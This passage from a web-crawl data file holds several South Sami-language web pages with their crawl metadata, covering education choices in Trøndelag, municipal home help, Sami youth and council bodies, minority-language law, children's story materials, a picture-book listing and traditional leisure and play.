bïevnesefilmh dorjeme mah pryövoeh dutnjien vaestiedassh vedtedh dejtie gellide gyhtjelasside mejtie åtnah.\nDatne aaj jeatjah nuhteligs svaalhtesh gaavnh mah gaskem jeatjah bïevnesh vedtieh mej skuvli bïjre datne maahtah ohtsedh jïh guktie ohtsh.\nDatne maahtah studijeryöjreden jallh barkoefaageles ööhpehtimmieprogrammen gaskem veeljedh.\nMij studijeryöjreden ööhpehtimmieprogramme?\nJuktie datnem viehkiehtidh guarkedh mij sisvegidie lea dejnie ovmessie ööhpehtimmieprogrammine libie bïevnesefilmem dorjeme fïerhten programmese Trööndelagen jåarhkeskuvleste. Filmh vuesiehtieh maam datne lïerh, ïedtji jïh jïjtsevoeti bïjre mejtie byörh utnedh jïh ij goh unnemes mah båetijen aejkien barkoenuepieh datne åadtjoeh. Datne aaj learohkh gaavnh mah ööhpehtimmieveeljemen bïjre soptsesth maam dah leah vaalteme.\nDiedtieh svaalhtesidie jïh jårrehth filmem!\nMij barkoefaagh?\nLuhkie barkoefaageles ööhpehtimmieprogrammh Trööndelagesne mah barkoemaahtoem vedtieh (faageprievie jallh sveenneprievie).\nVuartesjh bïevnesefilmem barkoefaagi bïjre. Daesnie åadtjoeh væjkele lïerehtæjjah dåeriedidh barkose, jïh vielie lïeredh mij barkoefaageles goerehtimmie lea jïh dej ovmessie maalli bïjre govledh goske faageprieviem, maahtoevihtiestimmiem jïh studijemaahtoem åådtje. Datne aaj åadtjoeh ånnetji daejredh maam lierehtimmiekontovre dorje.\nSvaalhtesinie vuelielisnie bïevnesefilmh gaavnh fïerhtede barkoefaageles ööhpehtimmieprogrammeste Trööndelagen jåarhkeskuvline.\nJårrehth filmem!\nMah skuvlh maam faalehtieh?\nTrööndelagen fylhkentjïeltesne 32 jåarhkeskuvlh. Daennie bijjieguvvesne gaavnh mah skuvlh mah dejtie ovmessie ööhpehtimmieprogrammide faalehtieh. Skuvli gåetiesæjrojne aaj vielie bïevnesh gaavnh ööhpehtimmiefaalenassi bïjre mejtie fïerhte skuvle faalehte.\nMejtie skuvlide maahtam ohtsedh?\nTrööndelagesne dovne karakteerh jïh dov årromesijjie muenieh mejtie skuvlide datne maahtah ohtsedh. Sijjesne vilbli.no bïevnesh gaavnh mah tjïelkestieh mejtie skuvlide datne maahtah ohtsedh.\nGuktie edtjem ohtsedh?\nDov leah gyhtjelassh guktie ohtsh juktie jåarhkeskuvlen sïjse baahtsedh Trööndelagesne?\nbïevnesefilmem- SØK, SVAR, MØT. Daesnie åadtjoeh abpe ohtsemeprosessen bïjre lïeredh jåarhkelierehtæmman jïh lïhkessuvleprinsihpen bïjre. Filmen nuelesne svaalhtesh gaavnh guktie ohtsh.\nJis dov annje gellie gyhtjelassh, maahta karrijeerebïhkedæjjine\/raeriestæjjine soptsestidh skuvlesne jallh gaskesadtedh Karriereveiledning.no. Dïhte akte aadtjen tseegkesovveme, nasjonaale, digitaale karrijeerebïhkedimmiedïenesje jïh lea ræhpas gaajhkesidie.\nVaeltieh maaje teestem: Mij ööhpehtimmieprogramme maahta dutnjien sjïehtedh?\nLæhkoe hijven ööhpehtimmieveeljeminie!\nMujhtieh ohtsememieriem njoktjen 1.b.\nNedtesæjrosne vilbli.no vielie bïevnesh dej ovmessie ööhpehtimmieprogrammi bïjre gaavnh.\nDaesnie maahtah bijjieguvviem vuejnedh gaajhki ööhpehtimmieprogrammi bijjeli pdf-fijlesne.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.trondelagfylke.no\/nyhetsarkiv\/digital-brosjyre-om-utdanningsvalg\/Maam-edtjem-veeljedh\/","date":"2021-05-13T13:24:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989916.34\/warc\/CC-MAIN-20210513111525-20210513141525-00093.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":397,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Viehkiem gåetesne, hjälp i hemmet\nBïerjen tjïeltesne ovmessie dåarjegh jih hoksehtimmieh faala. Dåarjegem lea ihke nuepiem akten jïjtjemes jielemem guktie gåerede vedtedh, numhtie ahte datne maahtah gåetesne arrijh dan guhkiem guktie vaajtelh.\nGosse datne viehkiem jallh dåarjegem daarpesjh datne viehkiegïetedallijasse jårrh, mij dajvese deadta gusnie datne årroeh. Viehkiegïetedallijem datne tjïelten vikselen tjïrrh jaksh, telefovne, 0687-161 00.\nJïjnjemes viehkiegïetedallijem akten hïejmemïnnemem daajhtoen. Tjåangkosne gïetedallijem pryövoe ussjedidh man gaavhtan datne viehkiem daarpesjh, mij barkoeh datne buektedh jih dah mah eah buektedh, guktie dov sosialen viermiem vååjnoes jih man jijnjes lïhkesadtjide maehtieh datnem viehkiehtidh. Jis daerpiesvoeth lea, tjïelten dajvesåjhtere jih barkoeterapaute maehtiejägan datnem soejkesjimmine barkoej jih viehkiej mietie viehkiehtidh.\nViehkiegïetedallijem männgan akten tjïelkestimmiem dov daerpiesvoeteste daajhtoen jih nännoste mij viehkiem datne maahtah åadtjodh. Jis ih nännoestimmine fuakoes sjïdth, datne maahtah laejhtedh. Bïevnesh guktie datne klååkh datne tjaaleldh nännosetimmine åadtjoeh.\nViehkien mietie tjïehth åasam maeksedh, lohkh jienebh rubriken nuelesne: avgifter\nUppdaterad:","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/hokseviehkiejihsajhtoeomsorghjalpochvard\/viehkiemgaetesnehjalpihemmet.4.2a948e2414c4aa4dd9a2060c.html","date":"2021-06-15T00:55:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487614006.8\/warc\/CC-MAIN-20210614232115-20210615022115-00011.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":145,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte gie svihtjeme-heaptojinie lea geerve byjjes vualkamigujmie vuelkedh galka dan guhkiem goh gåerede vualkemefaalaldahkine vuelkedh. Ohtsedæjjan svihtjeme-heaptoem jïh guktie maahta vuelkedh dam nænnoste, ij man gellien aejkien dam daarpesje, man guhkies tjöödtjeme-sæjjan jallh man åvteste sæjhta vuelkedh. Dïhte svihtjeme-heaptoe edtja unnemes govhte askh ryöhkedh åvteli vualkemefaalaldahkem åadtjodh.\nVualkemefaalaldahke, telefovne: 090-16 10 14","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/vualkemefaalaldahke.4.333c64e217718860a231183.html","date":"2021-07-27T08:37:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153223.30\/warc\/CC-MAIN-20210727072531-20210727102531-00529.warc.gz","language":"sma","language_score":0.999989152,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999891519546509}","num_words":49,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NSR noerh (NSR-N) lea NSRen noeremoenehtse. Mijjieh utnebe ståvroe, mohte lea ståvroem jïh gaajhkesh noerelïhtsegh mah leah NSR-N. Jis nuerebe goh 26 jaepieh jïh NSRen lïhtsege, dellie datne joe NSR noeren lïhtsege sjïdteme. NSR noeren åejvielaavenjassh lea NSRen noerebarkojne barkedh, noeren aamhtesi åvteste soptsestidh, noerelïhtsegigujmie jïh noeresïebrigujmie soptsestidh, jïh jeatjah nasjonaale jïh internasjonaale noereorganisasjovnigujmieh åahpanidh jïh gaskestalledh. Jis ih leah lïhtsegine ennje, dellie byörh sjïdtedh!","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/nsr.no\/sma\/nsr-noerh\/","date":"2021-09-22T07:31:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057337.81\/warc\/CC-MAIN-20210922072047-20210922102047-00266.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":64,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien ikteraerie\nIkteraeride tjuara akten systematiske jïh daamhtah vuekesne årrodh. Unnebelåhkojde edtjieh tsevtsemem gyhtjelassi bïjre vedtedh mah dej bïjre lea, vuesiehtimmien gaavhtan guktie ealamadtji vierhtie nuhtjedh mah unnebelåhkoepolitihken barkojde vadteme, sjïere vihkeles lea gyhtjelassh digkiedidh mah aarhskuvledarjoe-, voereshokse-, noeregyhtjelassh jïh jeatjah kultuvredarjoej bïjre lea.\nSaemien ektieraeriedåehkesne lea 8 almetjh saemien almetjijstie tjïeltesne. Saemien iktedæjja jïh sov åejvie meatan tjahkan goh tjïelten barkijh, iktedæjja tjåanghkan böörie.\nEktieraeriedåehkiem edtja meatan nænnoestimmiejgujmie årrodh mah saemide tjïeltesne tsevtsieh, barkedh goh referensedåehkie juekemen bïjre tjïelten biehkeste, unnebelåhkoegïeli vaarjelæmman.\nEktieraeriedåehkie medtie 4-6 tjåanghkoeh fïerhten jaepien åtna.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.dorotea.se\/saepmie\/saemien-ikteraerie-samiskt-samraad\/saemien-ikteraerie\/","date":"2021-09-21T08:35:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057199.49\/warc\/CC-MAIN-20210921070944-20210921100944-00616.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":88,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.216,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"LearoevierhtieportaaleOvttas \/ Aktan \/ Aktesne\nLearoevierhtieportaale akte laavenjostoeprosjekte orreme Saemiedigkien jïh IKT-jarngen gaskem. Prosjekteboelhke ryöhki 06\/2010 raejeste 06\/2013 raajan. Saemien lohkemejarnge dïedtem åadtjoeji prosjekten åvteste njieljie barkijigujmie 01.07.13 raejeste, jïh dehtie raejeste akte ihkuve gïehtelimmie sjïdti.\nLearoevierhtieportaale byjngetje beetnehvierhtieh åådtje Saemiedigkeste jïh MD:ste.\nLearoevierhtieportaalen leah golme bielieh:\n- Bijjieguvvie learoevierhtijste jïh nuepie gærjah löönedh\n- Juekemesijjie\n- Bæjhkoehtimmiedïrregh digitaale learoevierhtide\nBïevnesebarkoe jïh utniejidie lïeredh ovmessie bielieh learoevierhtieportaaleste nuhtjedh leah aaj akte bielie barkoste.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/lohkanguovddas.no\/sma\/prosjekth\/learoevierhtieportaaleovttas-aktan-aktesne","date":"2021-09-29T02:38:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780061350.42\/warc\/CC-MAIN-20210929004757-20210929034757-00330.warc.gz","language":"sma","language_score":0.9999780655,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999780654907227}","num_words":65,"character_repetition_ratio":0.13,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiengïelen barkijh aarhskuvlesne, samisktalande personal i förskolan\nSveerjen 5 naasjovnellen unnebelåhkoeh\nTsiengelen 1 biejjiem 2010 Sveerjesne aktem orre laakem dïedti. Laakem naasjovnellen unnebelåhkoeh jih unnebelåhkoengïeli bïjre (SFS 2009:724). Dïhte vaarjelimmiem nännoste mijjen laanten histovrijen naasjovnellen unnebelåhkojde jih dej gïelh mah rijhkebiejjeste 1999 dïedti.\nDah naasjovnellen unnebelåhkoeh leah saemieh (aaj aalkoealmetjh), judah, romh, sveerjensåevmieh jih tornedalingh.\nDah naasjovnellen unnebelåhkoengïelh leah saemien, jiddisch, romani chib, såevmien jih meänkieli.\nSaemien, såevmien jih meänkielim akten tjarkebe vaarjelimmiem ovmessie dajvide Sveerjesne utnieh, mah gåhtjoeh reeremedajvh.\nBïerjen tjïelte lea saemien reeremedajvesne jih akten reeremetjïelte lea jih dan gaavhtan sjïere dïedtem saemien gïelese åtna.\nLaake naasjovnellen unnebelåhkoeh jih unnebelåhkoehgïeli bïjre akten maadthvaarjelimmeste jih tjarkebe vaarjelimmeste lägan. Vuartesjh abpe laakem daesnie: www.berg.se\/sameland\nMaadthvaarjelimmiem\nUnnebelåhkoelaaken sïejhme nännoestimmieh jallh maadthvaarjelimmiem lea ahte laake abpe laantesne galka årrodh jih gaajhkide vïjhte unnebelåhkojde meatan leah.\nMaadthvaarjelimmiem unnebelåhkoelaaken paragrafine stuvrieh, gusnie tjåådtje:\n- reeremeåejvieh gelkieh, gosse lea daerpies, naasjovnellen unnebelåhkojde dej reaktaj bïjre bïevnedh, guktie daate laake lea.\n- tjïelte sjïere dïedtem åtna vaarjelidh jih evtiedidh dah naasjovnellen unnebelåhkoengïelide.\n- tjïelte galka evtiedidh dah naasjovnellen unnebelåhkoej nuepieh, dej kultuvrem Sveerjesne steeredh jih öövtiedidh.\n- maanaj öövtiedimmiem akten kultuvrellen aerpeste jih nuhtjemem jïjtsh unnebelåhkoegïeleste galka joekoen evtiedidh\nReeremeåejvieh gelkieh naasjovnellen unnebelåhkojde nuepiem gyhtjelasside vedtedh mah dejtie gïetedieh jih dan guhkies guktie gåerede unnebelåhkoejgujmie dagkeres aamhtesigujmie ikteöörnedh.\nTjarkebe vaarjelimmiem reeremedajvide leah, jih jeahta ahte:\n- Bïerjen tjïelte galka aarhskuvlem faaledh mij abpe tijjem jallh måedtie saemiengïelesne lea.\nRevijtaliseringe – bååstede akten aajhtoes gïelem vaeltedh\nSaemien gïelesne ovmessie smaaregh leah jih guhkie aejkesne Sveerjesne aalkeme gaatoelidh. Åarjelsaemien mij Bïerjen tjïeltesne soptseste, akten stoerre gïeledajvem åtna, Västerbottneste don Dalarnesne jih seamma dajvide nöörjen bïelesne gusnie 500-700 almetjh Sveerjesne åarjelsaemiengïelem soptseste. Åarjelsaemien lea dan gaavhtan joekoen damtemes jih mahte jallan gaatoelidh.\nGåerede gujhth gïelemolsemeprosessem jårredh jih åarjelsaemien revitaliseringem buektiehtidh. Baakoem revitaliseringe lea ahte barkoem darjoen gosk akten aajhtoes gïelem maahta bååstede buektedh, naemhtie ahte gellieh aelkieh gïelem soptsestidh.\nAkten hearven revitaliseringedaepiem lea ahte maanide nuepiem vedtedh gïelem lïeredh – aelhkebe lea aktem gïelem aarehjaepesne lïeredh jallh gosse geerve lea.\nBïerjen tjïelte åarjelsaemien revitaliseringigujmie barkeminie. Mijjen aarhskuvlide gusnie maanah saemeste mijjieh pryövebe barkijh ohtsedidh gie saemiengïelem daajroem utnieh.\nMyren aarhskuvlesne, Myrvijhkesne daaletje saemiengïelen barkijh gååvnese.\nUppdaterad:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.berg.se\/48\/kommun-och-politik\/samiskt-forvaltningsomrade\/sidor-pa-samiska\/aarhskuvlh-bierjen-tjieltesne-forskolor-i-bergs-kommun\/saemiengielen-barkijh-aarhskuvlesne-samisktalande-personal-i-forskolan","date":"2021-09-17T14:04:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780055645.75\/warc\/CC-MAIN-20210917120628-20210917150628-00456.warc.gz","language":"sma","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999902248382568}","num_words":344,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsesem tjaeledh Ih leah tjaangeme men nommehthbaakojne daelie tjaalah. Dov tjaalege jeatjah byjjebasse åtnoenommine vuesiehtåvva. Dov tjaalege jeatjah byjjebasse åtnoenommine vuesiehtåvva: QeSuN T Tjaangedh Jallh Åtnoekonto darjoeh Åtnoekonto darjoeh Bijjietjaalege * Sisvege * Veeljh gïelem Svenska Meänkieli Julevsámegiella (Lulesamiska) Åarjelsaemiengïele (Sydsamiska) Davvisámegiella (Nordsamiska) Bidumsámegiella (Pitesamiska) Ubmejesámiengiälla (Umesamiska) Sjangere Luste jïh skaadtjoehsoptsesh Gieltegs jïh heamture Ïskeres jïh voejkenes Gieriesvoete jïh vïenesvoete Åavtoe jïh murrie Geerve jïh dagkerh Sporte Saatnan Åvtesne Aarkebeajjetje Vaajesh Fanfiction Dyjrh Vöörhkh soptsesem Seedth soptsesem","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.polarbibblo.se\/sma-se\/tjaeledh\/soptsesem-tjaeledh\/","date":"2021-10-26T21:29:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587926.9\/warc\/CC-MAIN-20211026200738-20211026230738-00355.warc.gz","language":"sma","language_score":0.9977689981,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9977689981460571}","num_words":75,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Mirja Cicilia Andersson Renander jïh manne 18 jaepien båeries. Manne onne voeneste båatam man nomme Nerskogen, Rennebu tjïeltesne Trööndelagesne. Juelkietjengkere iktesth mov stoerre ïedtje orreme, jïh dan åvteste gaarsjelimmielinjam Oppdal jåarhkeskuvlesne veedtsim gusnie juelkietjengkere lij njueniehkisnie. Manne reakadamme jïh byjjenamme båatsosne, jïh dan åvteste jïjnjem bijjene vaeresne orreme. Gusnie bööremes tråjjedem.\nSaemien kultuvre iktesth vihkeles munnjien orreme. Manne dajveste båatam gusnie ajve månnoeh vïellebh mah ligan saemien maadtoste mov skuvlesne, jïh dah skuvlesne joekoen vaenie saemien bïjre deejrin. Dan åvteste munnjien vuartasjin goh ånnetji jeatjahlaakan, dan åvteste mov lea jeatjah kultuvre. Dan gaavhtan manne tsïegline ohtsim, juktie sïjhtem mov kultuvren bïjre soptsestidh, jïh soptsestidh mijjieh eevre goh gaajhkh jeatjah noerh.\nManne tjarke aavodem daan jaapan, gusnie veanhtedem åadtjoem jïjnjem fealadidh jïh noerh abpe Nöörjesne råakedh. Manne aaj gegkestem mov girtie-asve gaarvene daan jaepien!\nSåemies varke saetniesvoeth:\nMaam tuhtjh vihkielommes Nöörjen noerh saemiej bïjre daejrieh?\nSaemien kultuvren lea stoerre gamtoe jïh lea gellielaaketje.\nBööremes raerie juktie jïengem tsööpkedh?\nJebjedh ånnetji, dellie iktesth man bïjre soptsestidh jïh mestie föörhkedidh.\nMaam 10 jaepine darjoeh?\nManne gegkestem manne minngemosth gaavnehtamme maam sïjhtem jïh leam gaervies mov ööhpehtimmine.\nBööremes tv-raajroeh?\nDïhte mij lea TV:sne gosse TV-båalese dïedtem.\nGie dov saemien åvteguvvie jïh man åvteste?\nTuhtjem Sofia Jannok lea væjkeles artiste hijven laavlomigujmie, jïh vihkeles ulmiejgujmie teeksti duekesne.\nMaam saemien åahpetjidie datne buaresjh?\nIm raaktan naakenem buaresjh, men tuhtjem Sofia Jannok lea naa mavvas.\nMïsse jeenjemes aavodh daan tsïeglejaepien?\nFealadidh jïh jeatjah noerh råakedh juktie saemien bïjre soptsestidh.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/mirja-cicilia-andersson-renander-5\/","date":"2021-10-19T18:48:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585280.84\/warc\/CC-MAIN-20211019171139-20211019201139-00538.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":242,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahta geerve årrodh daejredh mejnie heamturinie edtja aelkedh jis ij Troll i ord aarebistie damth jïh ij akt heamturidie raajrosne damth. Dan åvteste libie såemies raerieh tjöönghkeme maanagïertijste mah dïrregem nuhtjeme gellie jaepieh.\nDoh tjïjhtje heamturh\nTroll i ord-raajrosne 7 heamturh mah ovmessie bielijste veartenisnie båetieh. Buehkieh Bunhkie, Faavroesledtie jïh gaarenasse jïh Krogkodilla jïh riepie leah åenehks heamturh mah gaajhkide maanide sjiehtieh.\nDoh göökte saemien heamturh Staaloen jïh Tjaetsien-nuelesnelaanten bïjre jïh Baernie jïh Noerhtebïegke jïh Gaamehgåaroje Dratewka leah guhkebe heamturh mah daamtaj vielie sjiehteles dejtie båarasåbpoe maanide maanagïertesne jïh skuvlesne.\nBïevnesh Espira Salamonskogen maanagïerteste leah: \"Aellieh heamturem veeljh ajve maanan aalteren mietie.\"\nNuhteligs gyhtjelassh gihtjedh:\n- Mij baakoevåarhkojde maanan\/maanaj?\n- Maam maana\/maanah sijhtieh lïeredh?\n- Mah ïedtjh dej?\n- Maam aarkebiejjien daarpesjieh\/ Maam aarkebiejjien dåastoeh\n- Åenehks heamturh gaajhkesidie sjiehtieh.\nVihkeles raerie\nJis annje jueriedisnie maam heamturidie edtja veeljedh Espira Salamonskogen raereste heamturinie aelkedh Faavroesledtien jïh gaarenassen bïjre. Heamture lea ïedtjije maanide ovmessie aaltarinie jïh ovmessie ïedtjigujmie. Teemah klaerie jïh hammoe nuepieh vedtieh ovmessie darjoemidie gusnie maanah åadtjoeh baakoeh jïh dïejvesh lïerehtalledh mejtie maanagïertesne jïh aarkebiejjien dåastoeh.\nGïele-aeskesne konkreetigujmie Faavroesladtan jïh gaarenassese akte preejrespïele klaeriej bïjre. Spïelem varke guarkoe jïh luste dovne dejtie nööremes jïh båarasåbpoe maanide. Spïele ij naan åvtedaajroeh jallh maahtoem nöörjengïelesne (saemiengïelesne = samisk) krievieh juktie maehtedh meatan årrodh. Seamma tïjjen spïele hijven nuepieh vedtieh nommide jïh darjomem dahkose ektiedidh heamturisnie juktie soptsestæmman jïh ussjedadtemasse eevtjedh. Daabloeh spïelesne klaerieh utnieh, seammalaakan sijjieh preejresne. Tjuara vuertedh goske sov våaroe, akti akti klaeriedaabloem sigkedh jïh reaktoe sæjjan bïejedh juktie sov dajvem preejresne dievhtedh. Maanah varke lierieh sinsitniem vïhtesjidh jïh geerve almetje maahta eadtjohkelaakan dåarjodh viehkine nommem jiehtedh jïh mubpesth jiehtedh, jïh dan bïjre soptsestidh maam faavroesledtie jïh gaarenasse darjoejin klaeriejgujmie heamturisnie, jïh naemhtie soptsestæmman eevtjedh klaeriej jïh dahkoen bïjre.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/trolliord.no\/maam-heamturidie-edtjem-veeljedh\/","date":"2021-12-09T04:14:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363659.21\/warc\/CC-MAIN-20211209030858-20211209060858-00044.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":283,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nMary A. Sombyn «Ammul og den blå kusinen» jaepeste 1976 voestes saemien guvviegærjine ryöknesåvva. Dïhte nöörjen jïh noerhtesaemien gïelesne bööti 45 jaepiej juassah. Soptsese lea saajvi bïjre.\nDellie maaje Gïelem nastedh jïh Trööndelagen fylhkengærjagåetie gærjam åarjelsaemien gïelesne bæjhkoehtieh. Seamma tïjjen aaj revideereme låhkoem noerhtesaemien gïelesne bæjhkoehtieh, daajbaaletje reaktatjaelieminie. Orre noerhtesaemien versjovne gohtjesåvva «Ámmol ja Alitoarpmealli», jïh åarjelsaemien gærjan nomme lea «Ammol jïh Plaaveaajhkohke». Edtja gærjam bæjhkoehtidh saemien kultuvrefestivaalesne Riddu Riđđu snjaltjen gaskoeh.\n\/\/\nMary A. Sombys «Ammul og den blå kusinen» fra 1976 regnes som den første samiske bildeboka. Den utkom på norsk og nordsamisk den gang for 45 år siden. Historien handler om et møte med sajve-folket, de underjordiske i samiske sagn og myter.\nNå utgir Gïelem nastedh og Trøndelag fylkesbibliotek endelig boka på sørsamisk. Samtidig utgir de også en revidert utgave på nordsamisk, med modernisert rettskriving. Den nye nordsamiske utgaven kalles «Ámmol ja Alitoarpmealli», og de sørsamiske boka heter «Ammol jïh Plaaveaajkohke». Boka vil bli nylansert på den samiske kulturfestivalen Riddu Riđđu i midten av juli.\nSpesifikasjoner\nSpråk: Åarjel-saemien, sørsamisk\nUtgiver: Gïelem nastedh\nISBN: 978-82-93402-51-0","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/nettbutikk.saemiensijte.no\/product\/10783","date":"2021-12-02T22:11:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362297.22\/warc\/CC-MAIN-20211202205828-20211202235828-00235.warc.gz","language":"sma","language_score":0.7969039679,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.7969039678573608, \"sme_Latn_score\": 0.1901519000530243, \"nob_Latn_score\": 0.011438429355621338}","num_words":172,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":0.897,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eejehtimmie\nDaan biejjien mijjieh jïjnje astoeaejkien bïjre ussjedibie. Naakenh tuhtjieh vihkeles ovmessie darjomh mejtie darjodh jïh maahta naemhtie sjïdtedh mijjen astoeaejkie-darjome sjædta biehkiem mijjen identiteeteste, jeahta gie manne leam jïh mij dåehkijste govlesovvem. Dejpeli eah raasth barkoen jïh astoeaejkien gaskem dan tjïelke. Datne kaanne utnih dan soe jïjnjh barkoeh mah tjoerih darjodh, sjïere darjomh sjïere tïjjine, guktie govsh buhtjedh, mearan mubpieh darjomh meehtien gåess'akt darjodh, guktie moerh tjoehpedh. Dej barkoej gaskem nuepiem veeltin stååkedidh jallh meehtin dovne barkedh jïh stååkedidh såemies aejkien.\nDatne kaanne naakenem damth gie lyjhkoe kluhtierdidh, gåarodh jallh vïjredh astoeaejkesne. Dah leah vuesiehtimmieh dagkerh darjomh mah åvteli tjoerin darjodh, men mah daan biejjien leah goh darjomh astoeaejkesne (gååvnesieh gujht almetjh mah dejnie berkieh). Iehkeden jïh darjomh ålkoelisnie lin gaervies, tjahkasjin dållebealesne, tjoevkesisnie dålleste, jïh dïrregh, vaarjoeh jallh maam akt orre darjoejin. Naaken kaanne soptsesti, vaajesti jallh lohki reegkes gïeline såemies gærjeste.\nAejlegen eejehtin, edtji aejlegsbiejjiem earoehtidh. Naan darjomh tjoerin læjhkan båantagaertienisnie darjodh. Vuesiehtimmie juvrh gïetedidh. Voejhkelin astedh dan jïjnje maam gåarede. Gellie geerve almetjh nuepiem veeltin lïegkedidh mearan maanah sïjhtin stååkedidh. Edtji aaj gærhkose vaedtsedh aejlegen.\nStååkedimmieh\nMaanah stååkedieh jïh fantiseradieh, daan biejjien tjïelke jïh vihkeles maanah åadtjoeh stååkedidh. Mohte idtji naemhtie eejnegen leah orreme. Dejpeli jeenjemes hïejmine vihkeles maanah gåetesne viehkiehtieh. Dah gaertienisnie beajjetjen darjomh darjoejin jallh barkoem utnin mubpene sijjesne. Men dellie gosse meehtin dellie dah hævvi aaj stååkedin.\nDah råållastååkedimmieh stååkedin, fantasijesne jïjtje veartenh bigkin, leessin lin mubpiem, seamma vuekine goh daaletje. Råållastååkedimmiej sisvege lij dillie goh daelie maam vuejnieh, dååjroeh, dååjrehtieh jïh goltelieh. Idtjin zombierh maanide dåalvohth mohte vuesiehtimmien gaavhtan staaloeh. Tjåenieh stååkedimmesne aelhkieslaakan skaepiedieh fantasijen tjïrrh. Åeksie maahta gellie ovmessie jeatjah aatem årrodh, jis barre sæjhta. Moere maahta dan soe tjaebpies dåahkam sjïdtedh stååkedimmesne, jïh måedtie gierhkieh sjidtieh slåahtese, dillie seamma goh 